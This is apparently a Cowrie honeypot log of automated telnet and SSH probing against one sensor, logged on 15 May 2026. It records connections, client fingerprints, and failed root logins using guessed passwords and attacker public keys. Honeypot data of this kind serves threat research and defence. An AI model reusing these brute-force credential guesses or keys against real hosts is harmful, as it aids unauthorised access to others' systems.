{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42416,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec679823705f","protocol":"telnet","message":"New connection: 50.6.8.71:42416 (10.17.0.5:23) [session: ec679823705f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:36.000285Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42432,"dst_ip":"10.17.0.5","dst_port":23,"session":"c613c940ba1b","protocol":"telnet","message":"New connection: 50.6.8.71:42432 (10.17.0.5:23) [session: c613c940ba1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:36.514761Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.76","src_port":56943,"dst_ip":"10.17.0.5","dst_port":22,"session":"7363f678f877","protocol":"ssh","message":"New connection: 205.210.31.76:56943 (10.17.0.5:22) [session: 7363f678f877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:42.433130Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:42.591508Z","src_ip":"205.210.31.76","session":"7363f678f877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.40424942970276,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:52.154657Z","src_ip":"50.6.8.71","session":"d41c0e5e4c34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44140,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2828ec0024d","protocol":"telnet","message":"New connection: 50.6.8.71:44140 (10.17.0.5:23) [session: c2828ec0024d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:52.908418Z"}
{"eventid":"cowrie.session.closed","duration":36.83997440338135,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:59:56.973158Z","src_ip":"50.6.8.71","session":"6bc239f78f11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":13922,"dst_ip":"159.203.135.109","dst_port":22,"session":"e52c5f657965","protocol":"ssh","message":"New connection: 201.77.124.248:13922 (159.203.135.109:22) [session: e52c5f657965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:04.346959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:04.353050Z","src_ip":"201.77.124.248","session":"e52c5f657965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:04.489774Z","src_ip":"201.77.124.248","session":"e52c5f657965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"toor","password":"root","message":"login attempt [toor/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:05.063484Z","src_ip":"201.77.124.248","session":"e52c5f657965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54922,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3755f91108f","protocol":"telnet","message":"New connection: 50.6.8.71:54922 (10.17.0.5:23) [session: a3755f91108f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:05.129025Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:06.203130Z","src_ip":"201.77.124.248","session":"e52c5f657965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.3345000743866,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:08.849135Z","src_ip":"50.6.8.71","session":"c613c940ba1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.282692670822144,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:11.282850Z","src_ip":"50.6.8.71","session":"ec679823705f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":55164,"dst_ip":"159.203.135.109","dst_port":22,"session":"04037765a2e2","protocol":"ssh","message":"New connection: 103.75.182.198:55164 (159.203.135.109:22) [session: 04037765a2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:13.589140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:13.607424Z","src_ip":"103.75.182.198","session":"04037765a2e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:13.861860Z","src_ip":"103.75.182.198","session":"04037765a2e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:14.585778Z","src_ip":"103.75.182.198","session":"04037765a2e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:15.831019Z","src_ip":"103.75.182.198","session":"04037765a2e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.06721043586731,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:24.975539Z","src_ip":"50.6.8.71","session":"c2828ec0024d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.885605096817017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:36.014517Z","src_ip":"50.6.8.71","session":"a3755f91108f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":39704,"dst_ip":"159.203.135.109","dst_port":22,"session":"131bb7174f79","protocol":"ssh","message":"New connection: 103.173.227.57:39704 (159.203.135.109:22) [session: 131bb7174f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:36.883781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:36.888456Z","src_ip":"103.173.227.57","session":"131bb7174f79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:37.137100Z","src_ip":"103.173.227.57","session":"131bb7174f79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:37.862527Z","src_ip":"103.173.227.57","session":"131bb7174f79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:00:39.109420Z","src_ip":"103.173.227.57","session":"131bb7174f79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41300,"dst_ip":"10.17.0.5","dst_port":23,"session":"09ad8c2771bf","protocol":"telnet","message":"New connection: 50.6.8.71:41300 (10.17.0.5:23) [session: 09ad8c2771bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:00.233422Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.95.34.214","src_port":55068,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d401d823860","protocol":"ssh","message":"New connection: 141.95.34.214:55068 (10.17.0.5:22) [session: 3d401d823860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:25.116069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:25.126651Z","src_ip":"141.95.34.214","session":"3d401d823860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:25.216407Z","src_ip":"141.95.34.214","session":"3d401d823860","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:89:37:65:21:1b:5f:bd:9c:0f:3b:e2:42:a1:b8:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI6QlqzgcFpD3TokWwsd4do1+vtWvJIP5vpC2p1IjDvBn0zlm68BpI0lqt2tkBLYGfCil43OKL06R/HreAb35rKsXB2zh1R4S4Y6oCUyB9jVD9Mne0+3g1mC3L4b5tPHG7jSsQjMxwDjGJ3ADNclo88y1uI/qdD9GfJhqxeROcTabQjiCg0fP70lO/hWfhfYgB3k1sO0VyuMbfSDw+pG+iHFUJUTfErNBv3dqP2x12P7k0h/HaAS1rne5fbUDsCtlfiw6eA+ZzpqNFRG5G3W1VwX4ooN+JFrjKv5JHKOxB9xB/Y4H8RbgXkDRUI80wmjz3Hv/PmVUdAqnWvzZP1HfJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:89:37:65:21:1b:5f:bd:9c:0f:3b:e2:42:a1:b8:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:25.644473Z","src_ip":"141.95.34.214","session":"3d401d823860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:89:37:65:21:1b:5f:bd:9c:0f:3b:e2:42:a1:b8:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDI6QlqzgcFpD3TokWwsd4do1+vtWvJIP5vpC2p1IjDvBn0zlm68BpI0lqt2tkBLYGfCil43OKL06R/HreAb35rKsXB2zh1R4S4Y6oCUyB9jVD9Mne0+3g1mC3L4b5tPHG7jSsQjMxwDjGJ3ADNclo88y1uI/qdD9GfJhqxeROcTabQjiCg0fP70lO/hWfhfYgB3k1sO0VyuMbfSDw+pG+iHFUJUTfErNBv3dqP2x12P7k0h/HaAS1rne5fbUDsCtlfiw6eA+ZzpqNFRG5G3W1VwX4ooN+JFrjKv5JHKOxB9xB/Y4H8RbgXkDRUI80wmjz3Hv/PmVUdAqnWvzZP1HfJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:25.648396Z","src_ip":"141.95.34.214","session":"3d401d823860","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:0e:1e:0c:ad:ac:57:f2:5e:1e:68:43:71:06:8a:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy1jv6z554pldN8W1oJjASJLfl9O9s3zOj3DXagHe8NTDqKSUUpU8puYfoP0Q7XkfENMon4m8RECr3JxJLg2rLRvGNyA7j+cOqP/hYUufPZ5jAh5Oz1XpeduVKLH4MclYc7upKBIjKekIUEQD35X+SFedwaTTWLAT03Tn+ixVCP/kVsocRHKgnna14wGeOQQPkmJpeFWNmX7WLdH5jlgY1BOKM8BL9LSnndaHEVwmRGS34yladtqTlRpX93pxehd962Q6eCeYFq0RFpCab7mBzAdgTNT5Ka/pRvHFTsxQN45w6lKkmTgRYR/69+FiqAQ2L875ocfLLiQpiWrTxLFWwnf9rrmmvGUE111CCVd46X58W+NfGAWLVelOqrA/HkJ6QUcN+t771Z85s15l9tIANYtlAt6cpHDkzUbENEAROYUl8UtGF09gK9M5b+ddBxptjM2npmiQZGq+Tjx2lKicG/W4A6yfPSYSy/LtCXhLhFzKUFfdStYRBMyoe1ZKuQM0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:0e:1e:0c:ad:ac:57:f2:5e:1e:68:43:71:06:8a:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:25.738973Z","src_ip":"141.95.34.214","session":"3d401d823860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:0e:1e:0c:ad:ac:57:f2:5e:1e:68:43:71:06:8a:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy1jv6z554pldN8W1oJjASJLfl9O9s3zOj3DXagHe8NTDqKSUUpU8puYfoP0Q7XkfENMon4m8RECr3JxJLg2rLRvGNyA7j+cOqP/hYUufPZ5jAh5Oz1XpeduVKLH4MclYc7upKBIjKekIUEQD35X+SFedwaTTWLAT03Tn+ixVCP/kVsocRHKgnna14wGeOQQPkmJpeFWNmX7WLdH5jlgY1BOKM8BL9LSnndaHEVwmRGS34yladtqTlRpX93pxehd962Q6eCeYFq0RFpCab7mBzAdgTNT5Ka/pRvHFTsxQN45w6lKkmTgRYR/69+FiqAQ2L875ocfLLiQpiWrTxLFWwnf9rrmmvGUE111CCVd46X58W+NfGAWLVelOqrA/HkJ6QUcN+t771Z85s15l9tIANYtlAt6cpHDkzUbENEAROYUl8UtGF09gK9M5b+ddBxptjM2npmiQZGq+Tjx2lKicG/W4A6yfPSYSy/LtCXhLhFzKUFfdStYRBMyoe1ZKuQM0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:25.747791Z","src_ip":"141.95.34.214","session":"3d401d823860","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:fa:5a:2a:51:3f:bb:ee:97:c6:9c:72:28:24:dc:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeys57yCcrbEjgxTmXbU0Tsw2FOcpSuU9e+9bUeCF++pcZj/fnPnwX6hbMXc/SJCGMek3xbIv2OZ3l+JhSmp6ZmPmIe9UtGPrGgEFzmlJP32jFgGuDOvuKgxZoCmKaJh5/vVGH/bkprh4ltl5Hd0AozCIqcn7qYeQRNEuJe4NZ9RGq/pCNPCWhZvYDoURy0EVo2ZnPQv7b2r7oswp9o8vAg8VCfq1IWqF4bVYM2s+42tzChhhYJipYEXfBRtKK+/3ogxNk7gRVwmmshHLerfM8gSrF1UW9EhjN4sCBJBGQx2i0IFsbM5mL4u+cPWlOhJ82sIIF/pD47KBA+FB93d3P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:fa:5a:2a:51:3f:bb:ee:97:c6:9c:72:28:24:dc:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:25.838670Z","src_ip":"141.95.34.214","session":"3d401d823860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:fa:5a:2a:51:3f:bb:ee:97:c6:9c:72:28:24:dc:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeys57yCcrbEjgxTmXbU0Tsw2FOcpSuU9e+9bUeCF++pcZj/fnPnwX6hbMXc/SJCGMek3xbIv2OZ3l+JhSmp6ZmPmIe9UtGPrGgEFzmlJP32jFgGuDOvuKgxZoCmKaJh5/vVGH/bkprh4ltl5Hd0AozCIqcn7qYeQRNEuJe4NZ9RGq/pCNPCWhZvYDoURy0EVo2ZnPQv7b2r7oswp9o8vAg8VCfq1IWqF4bVYM2s+42tzChhhYJipYEXfBRtKK+/3ogxNk7gRVwmmshHLerfM8gSrF1UW9EhjN4sCBJBGQx2i0IFsbM5mL4u+cPWlOhJ82sIIF/pD47KBA+FB93d3P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:25.843508Z","src_ip":"141.95.34.214","session":"3d401d823860","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:69:97:aa:75:06:8c:e1:7e:c8:eb:bf:1f:f6:75:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCncpC6h8f/3/LxKUlf3nEZKQ+onaYuvHVFYmZnAvRo/5Zfc5V8O3Bg0dJtBaKDEl0pSPsNJ/KYQrhsh/cII7+xfAT6/F2X/BSlKBXvSTT63aUfnZy63qsnaIJjKOhLOzgUcbj/rGJ98jfIzPkCKyz7AnCaEqsNnb1QZ9Uofh2vOoKyvkFGgLoa0W+MnItpLa+G0JeLL6jnj/u6Edqf5QakbmOLZrEpsho/IJK4MFQKcFVsEhBY210KVyBG2qWi2CX6Ek/wOlpnwobjl3kXDpm4mRIwmXYxDyUEEENdgdRTsX3Mr7oXh7fy/TerB7ZWww1z0lGyn9s9OrY5UPHNxhpELqSoFPlmdEFcFqSxT06KAxQY13o11Y/UPWjw3cnba+nwiwoCmv3MaNpnfNl+f6gK0PeE4y0DmJA52aMrKMeg5bUEFevEdx44OiomOdb72PVxyIMXpwxxvIwoBv3hN+1ootqoHA3DM6G1F3rKSOCD/GNPsQtMh4hb7i/rtZA59dc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:69:97:aa:75:06:8c:e1:7e:c8:eb:bf:1f:f6:75:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:25.935092Z","src_ip":"141.95.34.214","session":"3d401d823860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:69:97:aa:75:06:8c:e1:7e:c8:eb:bf:1f:f6:75:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCncpC6h8f/3/LxKUlf3nEZKQ+onaYuvHVFYmZnAvRo/5Zfc5V8O3Bg0dJtBaKDEl0pSPsNJ/KYQrhsh/cII7+xfAT6/F2X/BSlKBXvSTT63aUfnZy63qsnaIJjKOhLOzgUcbj/rGJ98jfIzPkCKyz7AnCaEqsNnb1QZ9Uofh2vOoKyvkFGgLoa0W+MnItpLa+G0JeLL6jnj/u6Edqf5QakbmOLZrEpsho/IJK4MFQKcFVsEhBY210KVyBG2qWi2CX6Ek/wOlpnwobjl3kXDpm4mRIwmXYxDyUEEENdgdRTsX3Mr7oXh7fy/TerB7ZWww1z0lGyn9s9OrY5UPHNxhpELqSoFPlmdEFcFqSxT06KAxQY13o11Y/UPWjw3cnba+nwiwoCmv3MaNpnfNl+f6gK0PeE4y0DmJA52aMrKMeg5bUEFevEdx44OiomOdb72PVxyIMXpwxxvIwoBv3hN+1ootqoHA3DM6G1F3rKSOCD/GNPsQtMh4hb7i/rtZA59dc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:01:25.940065Z","src_ip":"141.95.34.214","session":"3d401d823860","protocol":"ssh"}
